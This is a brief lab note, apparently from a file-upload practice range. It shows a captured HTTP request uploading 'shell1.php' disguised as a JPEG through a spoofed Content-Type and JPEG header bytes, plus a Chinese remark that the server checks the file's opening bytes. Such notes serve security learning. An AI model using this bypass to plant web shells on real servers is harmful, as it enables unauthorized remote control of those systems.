POST /Pass-02/index.php HTTP/1.1 Host: 192.168.237.131:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------42476982026004863561737215779 Content-Length: 492 Origin: http://192.168.237.131:81 Connection: close Referer: http://192.168.237.131:81/Pass-02/index.php Upgrade-Insecure-Requests: 1 -----------------------------42476982026004863561737215779 Content-Disposition: form-data; name="upload_file"; filename="shell1.php" Content-Type: image/jpeg ÿØÿà
判断了文件的开头是不是jpg